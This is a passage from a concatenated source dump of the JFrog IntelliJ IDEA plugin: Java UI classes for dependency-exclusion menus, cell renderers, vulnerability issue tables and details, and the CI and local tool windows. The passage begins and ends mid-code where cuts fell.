parentCandidates) { if (!ExclusionUtils.isExcludable(nodeToExclude, affectedNode)) { return; } JMenu multiMenu = new JBMenu(); multiMenu.setText(EXCLUDE_DEPENDENCY); for (NavigationTarget parentCandidate : parentCandidates) { Excludable excludable = ExclusionUtils.getExcludable(nodeToExclude, affectedNode, parentCandidate); if (excludable == null) { continue; } String descriptorPath = getRelativizedDescriptorPath(parentCandidate); multiMenu.add(createExcludeMenuItem(excludable, descriptorPath + " " + (parentCandidate.getLineNumber() + 1))); } if (multiMenu.getItemCount() > 0) { popupMenu.add(multiMenu); } } private void addSingleExclusion(DependencyTree nodeToExclude, DependencyTree affectedNode, NavigationTarget parentCandidate) { Excludable excludable = ExclusionUtils.getExcludable(nodeToExclude, affectedNode, parentCandidate); if (excludable == null) { return; } popupMenu.add(createExcludeMenuItem(excludable, EXCLUDE_DEPENDENCY)); } private JBMenuItem createExcludeMenuItem(Excludable excludable, String headLine) { return new JBMenuItem(new AbstractAction(headLine) { @Override public void actionPerformed(ActionEvent e) { excludable.exclude(project); } }); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/ComponentsTreeCellRenderer.java ================================================ package com.jfrog.ide.idea.ui; import com.intellij.openapi.editor.markup.TextAttributes; import com.intellij.ui.HighlightableCellRenderer; import com.intellij.util.ui.JBFont; import com.intellij.util.ui.UIUtil; import com.jfrog.ide.common.nodes.FileTreeNode; import com.jfrog.ide.common.nodes.SubtitledTreeNode; import com.jfrog.ide.idea.ui.utils.IconUtils; import org.apache.commons.lang3.StringUtils; import org.jetbrains.annotations.NotNull; import javax.swing.*; import java.awt.*; /** * Created by Yahav Itzhak on 22 Nov 2017. */ public class ComponentsTreeCellRenderer extends HighlightableCellRenderer { private static final TextAttributes titleStyle = new TextAttributes(); private static final TextAttributes subtitleStyle = new TextAttributes(); static { titleStyle.setFontType(JBFont.BOLD); subtitleStyle.setForegroundColor(UIUtil.getInactiveTextColor()); } @Override public @NotNull Component getTreeCellRendererComponent(@NotNull JTree tree, Object value, boolean sel, boolean expanded, boolean leaf, int row, boolean hasFocus) { HighlightableCellRenderer cellRenderer = (HighlightableCellRenderer) super.getTreeCellRendererComponent(tree, value, sel, expanded, leaf, row, hasFocus); if (!(value instanceof SubtitledTreeNode)) { return this; } SubtitledTreeNode scanTreeNode = (SubtitledTreeNode) value; if (scanTreeNode.getIcon() != null) { cellRenderer.setIcon(IconUtils.load(StringUtils.lowerCase(scanTreeNode.getIcon()))); } String text = scanTreeNode.getTitle(); int subtitleLength = 0; if (scanTreeNode.getSubtitle() != null && !scanTreeNode.getSubtitle().isEmpty()) { subtitleLength = scanTreeNode.getSubtitle().length(); text += " " + scanTreeNode.getSubtitle(); } setText(text); if (scanTreeNode instanceof FileTreeNode) { // Set title style cellRenderer.addHighlighter(0, scanTreeNode.getTitle().length(), titleStyle); } if (subtitleLength > 0) { // Set subtitle style cellRenderer.addHighlighter(text.length() - subtitleLength, text.length(), subtitleStyle); } return cellRenderer; } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/ExpiredComponentsTreeCellRenderer.java ================================================ package com.jfrog.ide.idea.ui; import com.intellij.ui.HighlightableCellRenderer; import com.intellij.util.ui.UIUtil; import org.jetbrains.annotations.NotNull; import javax.swing.*; import java.awt.*; public class ExpiredComponentsTreeCellRenderer extends ComponentsTreeCellRenderer { @Override public @NotNull Component getTreeCellRendererComponent(@NotNull JTree tree, Object value, boolean sel, boolean expanded, boolean leaf, int row, boolean hasFocus) { HighlightableCellRenderer cellRenderer = (HighlightableCellRenderer) super.getTreeCellRendererComponent(tree, value, sel, expanded, leaf, row, hasFocus); cellRenderer.setForeground(UIUtil.isUnderDarcula() ? UIUtil.getHeaderInactiveColor() : UIUtil.getInactiveTextColor()); return cellRenderer; } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/IssueDetails.java ================================================ package com.jfrog.ide.idea.ui; import com.jfrog.ide.idea.ui.components.ImpactPathPane; import com.jfrog.ide.idea.ui.components.ReferencesPane; import org.apache.commons.collections4.CollectionUtils; import org.jfrog.build.extractor.scan.Cve; import org.jfrog.build.extractor.scan.DependencyTree; import org.jfrog.build.extractor.scan.Issue; import org.jfrog.build.extractor.scan.Severity; import java.util.List; import java.util.stream.Collectors; /** * @author yahavi **/ public class IssueDetails extends MoreInfoPanel { public IssueDetails(Issue issue, DependencyTree impactedNode) { super(); addText("Severity", issue.getSeverity().getSeverityName()); addText("CVEs", getCves(issue)); addText("Summary", issue.getSummary()); addReferences(issue.getReferences()); addImpactPath(impactedNode, issue.getSeverity()); } /** * Create the CVEs string seperated by ",". * * @param issue - The issue containing the CVEs. * @return the CVEs string. */ private String getCves(Issue issue) { List cves = issue.getCves(); if (CollectionUtils.isEmpty(cves)) { return ""; } return cves.stream().map(Cve::getCveId).collect(Collectors.joining(" ,")); } /** * Add references to the Issue Details panel. * * @param list - The references list */ private void addReferences(List list) { if (CollectionUtils.isEmpty(list)) { return; } addComponent("References", new ReferencesPane(list)); } /** * Add impact path graph to the Issue Details panel. * * @param impactedNode - The impacted node * @param severity - Issue severity */ private void addImpactPath(DependencyTree impactedNode, Severity severity) { addComponent("Impact path", new ImpactPathPane(impactedNode, severity)); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/IssuesTableCellRenderer.java ================================================ package com.jfrog.ide.idea.ui; import com.jfrog.ide.idea.ui.utils.IconUtils; import javax.swing.*; import javax.swing.table.DefaultTableCellRenderer; import java.awt.*; import java.util.Set; /** * Created by Yahav Itzhak on 13 Nov 2017. */ public class IssuesTableCellRenderer extends DefaultTableCellRenderer { @Override public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int column) { DefaultTableCellRenderer cellRenderer = (DefaultTableCellRenderer) super.getTableCellRendererComponent(table, value, isSelected, hasFocus, row, column); // Severity column. if (column == IssuesTableModel.IssueColumn.SEVERITY.ordinal()) { editSeverityColumn(cellRenderer, value); } else { cellRenderer.setIcon(null); cellRenderer.setHorizontalAlignment(JLabel.LEADING); } // Bold cell if current issue is direct. boldIfDirectIssue(cellRenderer, table, row); return cellRenderer; } /** * Severity column should present only the severity icon. */ private static void editSeverityColumn(DefaultTableCellRenderer cellRenderer, Object value) { cellRenderer.setIcon(IconUtils.load(value.toString())); cellRenderer.setOpaque(true); cellRenderer.setToolTipText("Top issue severity: " + value + ". Click to display more details."); cellRenderer.setText(""); cellRenderer.setHorizontalAlignment(JLabel.CENTER); } private static void boldIfDirectIssue(DefaultTableCellRenderer cellRenderer, JTable table, int row) { // As row order may change due to sorting, get actual row index. int actualRow = table.getRowSorter().convertRowIndexToModel(row); Set components = ((IssuesTableModel) table.getModel()).getComponents(); String currentComponent = (String) table.getModel().getValueAt(actualRow, IssuesTableModel.IssueColumn.COMPONENT.ordinal()); if (components.contains(currentComponent)) { Font bold = cellRenderer.getFont().deriveFont(Font.BOLD); cellRenderer.setFont(bold); } } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/IssuesTableModel.java ================================================ package com.jfrog.ide.idea.ui; import com.google.common.collect.Sets; import org.apache.commons.lang3.StringUtils; import org.jetbrains.annotations.NotNull; import org.jfrog.build.extractor.scan.Issue; import javax.swing.table.AbstractTableModel; import java.util.Collections; import java.util.List; import java.util.Set; import java.util.stream.Collectors; /** * Created by Yahav Itzhak on 13 Nov 2017. */ public class IssuesTableModel extends AbstractTableModel { private final Set issues; private final Set components; IssuesTableModel() { this(Sets.newHashSet(), Sets.newHashSet()); } IssuesTableModel(@NotNull Set issues, @NotNull Set components) { this.issues = issues.stream() .filter(issue -> StringUtils.isNotBlank(issue.getSummary())) .collect(Collectors.toSet()); this.components = components; } public enum IssueColumn { SEVERITY("Severity"), COMPONENT("Impacted Component"), FIXED_VERSIONS("Fixed Versions"); private final String name; IssueColumn(String name) { this.name = name; } public String getName() { return this.name; } } public Set getComponents() { return this.components; } @Override public int getColumnCount() { return IssueColumn.values().length; } @Override public int getRowCount() { return issues.size(); } @Override public String getColumnName(int col) { if (col == IssueColumn.SEVERITY.ordinal()) { return ""; } return IssueColumn.values()[col].getName(); } @Override public Object getValueAt(int row, int col) { IssueColumn issueColumn = IssueColumn.valueOf(IssueColumn.values()[col].toString()); Issue issue = getIssueAt(row); switch (issueColumn) { case SEVERITY: return issue.getSeverity(); case COMPONENT: return issue.getComponent(); case FIXED_VERSIONS: List fixedVersions = issue.getFixedVersions() == null ? Collections.emptyList() : issue.getFixedVersions(); return StringUtils.defaultIfEmpty(String.join(", ", fixedVersions), "[]"); } return "N/A"; } /** * Get the issue at the input row. * * @param row - The row number * @return the issue of the input row. */ Issue getIssueAt(int row) { return (Issue) issues.toArray()[row]; } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/IssuesTableSelectionListener.java ================================================ package com.jfrog.ide.idea.ui; import com.intellij.openapi.ui.JBPopupMenu; import com.jfrog.ide.idea.actions.CreateIgnoreRuleAction; import org.jfrog.build.extractor.scan.DependencyTree; import org.jfrog.build.extractor.scan.Issue; import javax.swing.*; import javax.swing.event.ListSelectionEvent; import javax.swing.event.ListSelectionListener; import java.awt.*; import java.awt.event.MouseAdapter; import java.awt.event.MouseEvent; import java.util.Objects; import static com.jfrog.ide.idea.ui.IssuesTableModel.IssueColumn.COMPONENT; import static com.jfrog.ide.idea.ui.utils.ComponentUtils.replaceAndUpdateUI; /** * Represents a click on the issues table. * * @author yahavi **/ class IssuesTableSelectionListener extends MouseAdapter implements ListSelectionListener { private final ComponentIssuesTable issuesTable; private final JPanel detailsPanel; IssuesTableSelectionListener(JPanel detailsPanel, ComponentIssuesTable issuesTable) { this.detailsPanel = detailsPanel; this.issuesTable = issuesTable; } /** * Show the "Create Ignore Rule" button after right-click on a violation. * * @param e - The mouse event */ @Override public void mousePressed(MouseEvent e) { if (!SwingUtilities.isRightMouseButton(e)) { return; } int selectedRow = getSelectedRow(e); if (selectedRow == -1) { return; } DependencyTree impactedNode = getImpactedNode(selectedRow); if (impactedNode == null) { return; } Issue selectedIssue = issuesTable.getIssueAt(selectedRow); doRightClickButtonEvent(e, selectedIssue); } /** * Display the issue details view after selecting it by mouse or by keyboard. * * @param e - The selection event */ @Override public void valueChanged(ListSelectionEvent e) { if (e.getValueIsAdjusting()) { return; } int selectedRow = ((ListSelectionModel) e.getSource()).getMinSelectionIndex(); if (selectedRow == -1) { return; } DependencyTree impactedNode = getImpactedNode(selectedRow); if (impactedNode == null) { return; } Issue selectedIssue = issuesTable.getIssueAt(selectedRow); replaceAndUpdateUI(detailsPanel, new IssueDetails(selectedIssue, impactedNode), BorderLayout.NORTH); } /** * Get the selected row in the table or -1 if no row selected. * * @param event - The mouse click event * @return the selected row or -1. */ private int getSelectedRow(MouseEvent event) { int row = issuesTable.rowAtPoint(event.getPoint()); if (row < 0 || row >= issuesTable.getRowCount()) { return -1; } return row; } /** * Get a node that contains the selected issue. * This method iterates over all subtree of the selected nodes in the dependency tree. * * @return a node that contains the selected issue. */ private DependencyTree getImpactedNode(int selectedRow) { String selectedComponent = (String) issuesTable.getValueAt(selectedRow, COMPONENT.ordinal()); return issuesTable.getSelectedNodes().stream() .map(node -> node.find(selectedComponent)) .filter(Objects::nonNull) .findAny() .orElse(null); } /** * Display right click menu after a right click on an issue. * * @param mouseEvent - The mouse event * @param selectedIssue - The selected issue */ private void doRightClickButtonEvent(MouseEvent mouseEvent, Issue selectedIssue) { JPopupMenu popupMenu = new JBPopupMenu(); popupMenu.setFocusable(false); popupMenu.add(new CreateIgnoreRuleAction(selectedIssue.getIgnoreRuleUrl(), mouseEvent)); JBPopupMenu.showByEvent(mouseEvent, popupMenu); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/JFrogCiToolWindow.java ================================================ package com.jfrog.ide.idea.ui; import com.google.common.collect.Lists; import com.intellij.icons.AllIcons; import com.intellij.openapi.actionSystem.ActionManager; import com.intellij.openapi.actionSystem.DefaultActionGroup; import com.intellij.openapi.application.ApplicationManager; import com.intellij.openapi.project.Project; import com.intellij.ui.OnePixelSplitter; import com.intellij.ui.ScrollPaneFactory; import com.intellij.ui.SideBorder; import com.intellij.ui.TreeSpeedSearch; import com.intellij.ui.components.JBLabel; import com.intellij.ui.components.JBPanel; import com.intellij.util.ui.UIUtil; import com.jfrog.ide.common.ci.BuildGeneralInfo; import com.jfrog.ide.idea.actions.CollapseAllAction; import com.jfrog.ide.idea.actions.ExpandAllAction; import com.jfrog.ide.idea.configuration.GlobalSettings; import com.jfrog.ide.idea.events.ApplicationEvents; import com.jfrog.ide.idea.events.BuildEvents; import com.jfrog.ide.idea.ui.components.LinkButton; import com.jfrog.ide.idea.ui.components.TitledPane; import com.jfrog.ide.idea.ui.menus.builds.BuildsMenu; import com.jfrog.ide.idea.ui.menus.filtermanager.CiFilterManager; import com.jfrog.ide.idea.ui.menus.filtermenu.*; import com.jfrog.ide.idea.ui.utils.ComponentUtils; import org.jetbrains.annotations.NotNull; import org.jfrog.build.api.Vcs; import org.jfrog.build.extractor.scan.DependencyTree; import org.jfrog.build.extractor.scan.Issue; import javax.swing.*; import javax.swing.tree.TreePath; import java.awt.*; import java.text.SimpleDateFormat; import java.util.Arrays; import java.util.Date; import java.util.List; import java.util.Set; import java.util.stream.Collectors; import static com.jfrog.ide.idea.ui.JFrogToolWindow.*; import static com.jfrog.ide.idea.ui.utils.ComponentUtils.createDisabledTextLabel; import static com.jfrog.ide.idea.ui.utils.ComponentUtils.createNoBuildsView; import static org.apache.commons.lang3.StringUtils.isAnyBlank; import static org.apache.commons.lang3.StringUtils.isBlank; /** * @author yahavi **/ public class JFrogCiToolWindow extends AbstractJFrogToolWindow { private static final SimpleDateFormat DATE_FORMAT = new SimpleDateFormat("dd MMM yyyy HH:mm:ss"); private static final String SELECT_COMPONENT_TEXT = "Select component or issue for more details."; private LinkButton linkButton; private JLabel buildStarted; private JLabel buildStatus; private LinkButton seeMore; private JLabel branch; private JLabel commit; private final OnePixelSplitter rightVerticalSplit; final CiComponentsTree componentsTree; ComponentIssuesTable issuesTable; JScrollPane issuesDetailsScroll; JPanel moreInfoPanel; public JFrogCiToolWindow(@NotNull Project project, boolean buildsConfigured) { super(project); this.componentsTree = CiComponentsTree.getInstance(project); JPanel toolbar = createActionToolbar(); JComponent issuesPanel = createComponentsIssueDetailView(); OnePixelSplitter leftVerticalSplit = new OnePixelSplitter(false, 0.5f); leftVerticalSplit.setFirstComponent(createComponentsTreeView()); leftVerticalSplit.setSecondComponent(issuesPanel); rightVerticalSplit = new OnePixelSplitter(false, 0.6f); rightVerticalSplit.setVisible(false); rightVerticalSplit.setFirstComponent(leftVerticalSplit); rightVerticalSplit.setSecondComponent(createMoreInfoView(buildsConfigured)); setToolbar(toolbar); setContent(rightVerticalSplit); registerListeners(); } private String getComponentsTreeTitle() { return " Build Components (Issues #)"; } /** * Create CI issues filter menu * * @return issues filter menu */ IssueFilterMenu createIssueFilterMenu() { return new CiIssueFilterMenu(project); } /** * Create CI licenses filter menu * * @return licenses filter menu */ LicenseFilterMenu createLicenseFilterMenu() { return new CiLicenseFilterMenu(project); } /** * Create CI scopes filter menu * * @return scopes filter menu */ ScopeFilterMenu createScopeFilterMenu() { return new CiScopeFilterMenu(project); } /** * Create the more info view. That is the right panel. * * @param supported - True if the current opened project is supported by the plugin. * If now, show the "Unsupported project type" message. * @return the more info view */ @SuppressWarnings("DialogTitleCapitalization") JComponent createMoreInfoView(boolean supported) { if (!GlobalSettings.getInstance().areArtifactoryCredentialsSet()) { return ComponentUtils.createNoCredentialsView(); } JLabel title = new JBLabel(" More Info"); title.setFont(title.getFont().deriveFont(TITLE_FONT_SIZE)); moreInfoPanel = new JBPanel<>(new BorderLayout()).withBackground(UIUtil.getTableBackground()); moreInfoPanel.add(supported ? createDisabledTextLabel(SELECT_COMPONENT_TEXT) : createNoBuildsView(), BorderLayout.CENTER); issuesDetailsScroll = ScrollPaneFactory.createScrollPane(moreInfoPanel, ScrollPaneConstants.VERTICAL_SCROLLBAR_ALWAYS, ScrollPaneConstants.HORIZONTAL_SCROLLBAR_NEVER); return new TitledPane(JSplitPane.VERTICAL_SPLIT, TITLE_LABEL_SIZE, title, issuesDetailsScroll); } @Override public JPanel createActionToolbar() { DefaultActionGroup actionGroup = new DefaultActionGroup(ActionManager.getInstance().getAction("JFrog.RefreshBuilds")); JPanel toolbarPanel = createJFrogToolbar(actionGroup); // Add builds selector BuildsMenu buildsMenu = new BuildsMenu(project); componentsTree.setBuildsMenu(buildsMenu); toolbarPanel.add(buildsMenu.getBuildButton()); // Create parent toolbar containing the builds and the component tree toolbars JPanel parentToolbarPanel = new JBPanel<>(new GridLayout(2, 0)); toolbarPanel.add(createBuildStatusPanel()); parentToolbarPanel.add(ScrollPaneFactory.createScrollPane(toolbarPanel)); parentToolbarPanel.add(createComponentsTreePanel()); return parentToolbarPanel; } private JPanel createComponentsTreePanel() { DefaultActionGroup actionGroup = new DefaultActionGroup(new CollapseAllAction(componentsTree), new ExpandAllAction(componentsTree)); JPanel toolbarPanel = createJFrogToolbar(actionGroup); // Add issues filter IssueFilterMenu issueFilterMenu = createIssueFilterMenu(); componentsTree.addFilterMenu(issueFilterMenu); toolbarPanel.add(issueFilterMenu.getFilterButton()); // Add licenses filter LicenseFilterMenu licenseFilterMenu = createLicenseFilterMenu(); componentsTree.addFilterMenu(licenseFilterMenu); toolbarPanel.add(licenseFilterMenu.getFilterButton()); // Add scopes filter ScopeFilterMenu scopeFilterMenu = createScopeFilterMenu(); componentsTree.addFilterMenu(scopeFilterMenu); toolbarPanel.add(scopeFilterMenu.getFilterButton()); return toolbarPanel; } /** * Get issues to display in the issues table. * * @param selectedNodes - The selected nodes in the components tree * @return issues to display in the issues table */ private Set getIssuesToDisplay(List selectedNodes) { return CiFilterManager.getInstance(project).getFilteredScanIssues(selectedNodes); } public void registerListeners() { // Xray credentials were set listener appBusConnection.subscribe(ApplicationEvents.ON_CONFIGURATION_DETAILS_CHANGE, (ApplicationEvents) () -> ApplicationManager.getApplication().invokeLater(this::onConfigurationChange)); // Component selection listener componentsTree.addTreeSelectionListener(e -> { updateIssuesTable(); if (e == null || e.getNewLeadSelectionPath() == null) { return; } ComponentIssueDetails.createIssuesDetailsView(moreInfoPanel, (DependencyTree) e.getNewLeadSelectionPath().getLastPathComponent()); // Scroll back to the beginning of the scrollable panel ApplicationManager.getApplication().invokeLater(() -> issuesDetailsScroll.getViewport().setViewPosition(new Point())); }); issuesTable.addTableSelectionListener(moreInfoPanel); componentsTree.addOnProjectChangeListener(projectBusConnection); projectBusConnection.subscribe(ApplicationEvents.ON_CI_FILTER_CHANGE, (ApplicationEvents) () -> ApplicationManager.getApplication().invokeLater(() -> { CiComponentsTree.getInstance(project).applyFiltersForAllProjects(); updateIssuesTable(); })); projectBusConnection.subscribe(ApplicationEvents.ON_SCAN_CI_STARTED, (ApplicationEvents) () -> ApplicationManager.getApplication().invokeLater(this::resetViews)); projectBusConnection.subscribe(BuildEvents.ON_SELECTED_BUILD, (BuildEvents) this::setBuildDetails); projectBusConnection.subscribe(ApplicationEvents.ON_BUILDS_CONFIGURATION_CHANGE, (ApplicationEvents) () -> ApplicationManager.getApplication().invokeLater(this::onConfigurationChange)); } /** * Create the top panel with the build information. * * @return the build status panel */ private JPanel createBuildStatusPanel() { JPanel buildStatusPanel = new JBPanel<>(new FlowLayout(FlowLayout.LEFT, 20, 0)); buildStatus = createAndAddLabelWithTooltip("Build status", buildStatusPanel); buildStarted = createAndAddLabelWithTooltip("Build timestamp", buildStatusPanel); branch = createAndAddLabelWithTooltip("Build branch", buildStatusPanel); commit = createAndAddLabelWithTooltip("The commit message that triggered the build", buildStatusPanel); linkButton = new LinkButton("Click to view the build log"); seeMore = new LinkButton("See more in this view"); buildStatusPanel.add(linkButton); buildStatusPanel.add(seeMore); return buildStatusPanel; } /** * Set the build details in the build details toolbar * * @param buildGeneralInfo - The build general info from Artifactory */ private void setBuildDetails(BuildGeneralInfo buildGeneralInfo) { setBuildStarted(buildGeneralInfo); setBuildStatus(buildGeneralInfo); setSeeMore(buildGeneralInfo); setVcsInformation(buildGeneralInfo); setBuildLogLink(buildGeneralInfo); } private void setBuildStarted(BuildGeneralInfo buildGeneralInfo) { Date started = buildGeneralInfo != null ? buildGeneralInfo.getStarted() : null; setTextAndIcon(buildStarted, started != null ? DATE_FORMAT.format(started) : "", AllIcons.Actions.Profile); } private void setBuildStatus(BuildGeneralInfo buildGeneralInfo) { if (buildGeneralInfo == null) { setTextAndIcon(buildStatus, "", null); return; } switch (buildGeneralInfo.getStatus()) { case PASSED -> setTextAndIcon(buildStatus, "Status: Success", AllIcons.RunConfigurations.TestPassed); case FAILED -> setTextAndIcon(buildStatus, "Status: Failed", AllIcons.RunConfigurations.TestFailed); default -> setTextAndIcon(buildStatus, "Status: Unknown", AllIcons.RunConfigurations.TestUnknown); } } private void setSeeMore(BuildGeneralInfo buildGeneralInfo) { Vcs vcs = buildGeneralInfo != null ? buildGeneralInfo.getVcs() : null; if (vcs == null || buildGeneralInfo.getStatus() == null || isAnyBlank(vcs.getBranch(), vcs.getMessage(), buildGeneralInfo.getPath())) { seeMore.init(project, "See more in this view", "https://github.com/jfrog/jfrog-idea-plugin#the-ci-view"); } else { seeMore.init(project, "", ""); } } private void setVcsInformation(BuildGeneralInfo buildGeneralInfo) { Vcs vcs = buildGeneralInfo != null ? buildGeneralInfo.getVcs() : null; if (vcs == null) { setTextAndIcon(branch, "", null); setTextAndIcon(commit, "", null); return; } setTextAndIcon(branch, vcs.getBranch(), AllIcons.Vcs.Branch); setTextAndIcon(commit, vcs.getMessage(), AllIcons.Vcs.CommitNode); } private void setBuildLogLink(BuildGeneralInfo buildGeneralInfo) { String link = buildGeneralInfo != null ? buildGeneralInfo.getPath() : null; linkButton.init(project, "Build Log", link); } private JLabel createAndAddLabelWithTooltip(String tooltip, JPanel buildStatusPanel) { JLabel jLabel = new JBLabel(); jLabel.setToolTipText(tooltip); buildStatusPanel.add(jLabel); return jLabel; } private void setTextAndIcon(JLabel label, String message, Icon icon) { if (isBlank(message)) { label.setText(""); label.setIcon(null); return; } label.setText(message); label.setIcon(icon); } /** * Called after a change in the credentials. */ @Override public void onConfigurationChange() { rightVerticalSplit.setSecondComponent(createMoreInfoView(true)); super.onConfigurationChange(); issuesTable.addTableSelectionListener(moreInfoPanel); } /** * Create the components tree panel. * * @return the components tree panel */ private JComponent createComponentsTreeView() { JPanel componentsTreePanel = new JBPanel<>(new BorderLayout()).withBackground(UIUtil.getTableBackground()); JLabel componentsTreeTitle = new JBLabel(getComponentsTreeTitle()); componentsTreeTitle.setFont(componentsTreeTitle.getFont().deriveFont(TITLE_FONT_SIZE)); componentsTreePanel.add(componentsTreeTitle, BorderLayout.LINE_START); JPanel treePanel = new JBPanel<>(new GridLayout()).withBackground(UIUtil.getTableBackground()); TreeSpeedSearch treeSpeedSearch = new TreeSpeedSearch(componentsTree, true, ComponentUtils::getPathSearchString); treePanel.add(treeSpeedSearch.getComponent(), BorderLayout.WEST); JScrollPane treeScrollPane = ScrollPaneFactory.createScrollPane(treePanel); treeScrollPane.getVerticalScrollBar().setUnitIncrement(SCROLL_BAR_SCROLLING_UNITS); return new TitledPane(JSplitPane.VERTICAL_SPLIT, TITLE_LABEL_SIZE, componentsTreePanel, treeScrollPane); } /** * Return the selected nodes in the dependency tree. * * @return the selected nodes in the dependency tree */ List getSelectedNodes() { if (componentsTree.getModel() == null) { return Lists.newArrayList(); } // If no node selected - Return the root if (componentsTree.getSelectionPaths() == null) { return Lists.newArrayList((DependencyTree) componentsTree.getModel().getRoot()); } return Arrays.stream(componentsTree.getSelectionPaths()) .map(TreePath::getLastPathComponent) .map(obj -> (DependencyTree) obj) .collect(Collectors.toList()); } /** * Update the issues table according to the user choice in the dependency tree. */ public void updateIssuesTable() { List selectedNodes = getSelectedNodes(); issuesTable.updateIssuesTable(getIssuesToDisplay(selectedNodes), selectedNodes); } /** * Create the issues details panel. That is the bottom right issues table. * * @return the issues details panel */ private JComponent createComponentsIssueDetailView() { issuesTable = new ComponentIssuesTable(); JScrollPane tableScroll = ScrollPaneFactory.createScrollPane(issuesTable, SideBorder.ALL); tableScroll.setHorizontalScrollBarPolicy(ScrollPaneConstants.HORIZONTAL_SCROLLBAR_ALWAYS); JLabel title = new JBLabel(" Vulnerabilities"); title.setFont(title.getFont().deriveFont(TITLE_FONT_SIZE)); return new TitledPane(JSplitPane.VERTICAL_SPLIT, TITLE_LABEL_SIZE, title, tableScroll); } @Override void resetViews() { if (componentsTree != null) { componentsTree.reset(); } if (issuesTable != null) { issuesTable.reset(); } } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/JFrogFloatingToolbar.java ================================================ package com.jfrog.ide.idea.ui; import com.intellij.openapi.Disposable; import com.intellij.openapi.actionSystem.DataContext; import com.intellij.openapi.actionSystem.PlatformDataKeys; import com.intellij.openapi.editor.toolbar.floating.AbstractFloatingToolbarProvider; import com.intellij.openapi.editor.toolbar.floating.FloatingToolbarComponent; import com.intellij.openapi.fileEditor.FileEditor; import com.intellij.openapi.project.Project; import com.intellij.util.messages.MessageBusConnection; import com.jfrog.ide.idea.events.AnnotationEvents; import com.jfrog.ide.idea.events.ApplicationEvents; import com.jfrog.ide.idea.utils.Descriptor; import org.jetbrains.annotations.NotNull; import java.util.HashMap; import java.util.HashSet; import java.util.Map; import java.util.Set; /** * @author yahavi **/ public class JFrogFloatingToolbar extends AbstractFloatingToolbarProvider implements Disposable { private MessageBusConnection projectBusConnection; private Map filesToolbarComponents; private Set changedFiles; public JFrogFloatingToolbar() { super("JFrog.Floating"); filesToolbarComponents = new HashMap<>(); changedFiles = new HashSet<>(); } @Override public boolean getAutoHideable() { return false; } @Override public void register(@NotNull DataContext dataContext, @NotNull FloatingToolbarComponent component, @NotNull Disposable parentDisposable) { super.register(dataContext, component, parentDisposable); FileEditor fileEditor = dataContext.getData(PlatformDataKeys.FILE_EDITOR); if (fileEditor == null || fileEditor.getFile() == null) { return; } Project project = dataContext.getData(PlatformDataKeys.PROJECT); if (project == null) { return; } if (projectBusConnection == null) { projectBusConnection = project.getMessageBus().connect(this); registerOnChangeHandlers(); } filesToolbarComponents.put(fileEditor.getFile().getPath(), component); if (changedFiles.contains(fileEditor.getFile().getPath())) { component.scheduleShow(); } Descriptor descriptor = Descriptor.fromFileName(fileEditor.getFile().getName()); if (descriptor == null) { return; } LocalComponentsTree localComponentsTree = LocalComponentsTree.getInstance(project); if (localComponentsTree.isCacheEmpty() || localComponentsTree.isCacheExpired()) { component.scheduleShow(); } } private void registerOnChangeHandlers() { projectBusConnection.subscribe(AnnotationEvents.ON_IRRELEVANT_RESULT, (AnnotationEvents) this::updateFileChanged); projectBusConnection.subscribe(ApplicationEvents.ON_SCAN_LOCAL_STARTED, (ApplicationEvents) this::clear); } private void clear() { this.changedFiles = new HashSet<>(); filesToolbarComponents.values().forEach(FloatingToolbarComponent::scheduleHide); filesToolbarComponents = new HashMap<>(); } private void updateFileChanged(String filePath) { changedFiles.add(filePath); FloatingToolbarComponent jfrogToolBar = filesToolbarComponents.get(filePath); if (jfrogToolBar != null) { jfrogToolBar.scheduleShow(); } } @Override public void dispose() { // Disconnect and release resources from the application bus connection projectBusConnection.disconnect(); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/JFrogLocalToolWindow.java ================================================ package com.jfrog.ide.idea.ui; import com.intellij.openapi.actionSystem.ActionManager; import com.intellij.openapi.actionSystem.Constraints; import com.intellij.openapi.actionSystem.DefaultActionGroup; import com.intellij.openapi.actionSystem.Separator; import com.intellij.openapi.application.ApplicationManager; import com.intellij.openapi.project.Project; import com.intellij.openapi.projectRoots.impl.jdkDownloader.RuntimeChooserUtil; import com.intellij.openapi.util.Disposer; import com.intellij.ui.*; import com.intellij.ui.components.JBLabel; import com.intellij.ui.components.JBPanel; import com.intellij.ui.jcef.JBCefApp; import com.intellij.ui.jcef.JBCefBrowser; import com.intellij.util.ui.UIUtil; import com.jfrog.ide.common.nodes.*; import com.jfrog.ide.idea.actions.CollapseAllAction; import com.jfrog.ide.idea.actions.ExpandAllAction; import com.jfrog.ide.idea.actions.GoToSettingsAction; import com.jfrog.ide.idea.actions.ScanTimeLabelAction; import com.jfrog.ide.idea.configuration.GlobalSettings; import com.jfrog.ide.idea.events.ApplicationEvents; import com.jfrog.ide.idea.inspections.JumpToCode; import com.jfrog.ide.idea.log.Logger; import com.jfrog.ide.idea.scan.ScanManager; import com.jfrog.ide.idea.ui.utils.ComponentUtils; import com.jfrog.ide.idea.ui.webview.WebviewManager; import com.jfrog.ide.idea.ui.webview.WebviewObjectConverter; import org.apache.commons.lang3.exception.ExceptionUtils; import org.jetbrains.annotations.NotNull; import javax.swing.*; import javax.swing.tree.TreeSelectionModel; import java.awt.*; import java.io.IOException; import java.net.URISyntaxException; import static com.jfrog.ide.idea.ui.JFrogToolWindow.SCROLL_BAR_SCROLLING_UNITS; import static com.jfrog.ide.idea.ui.webview.event.model.WebviewEvent.Type.SHOW_PAGE; /** * @author yahavi */ public class JFrogLocalToolWindow extends AbstractJFrogToolWindow { private final LocalComponentsTree componentsTree; private final OnePixelSplitter verticalSplit; private JPanel leftPanelContent; private JComponent compTreeView; private boolean isInitialized; private IssueNode selectedIssue; private WebviewManager webviewManager; /** * @param project - Currently opened IntelliJ project */ public JFrogLocalToolWindow(@NotNull Project project) { super(project); componentsTree = LocalComponentsTree.getInstance(project); JPanel leftPanel = new JBPanel<>(new BorderLayout()); verticalSplit = new OnePixelSplitter(false, 0.4f); verticalSplit.setFirstComponent(leftPanel); setContent(verticalSplit); if (!JBCefApp.isSupported()) { 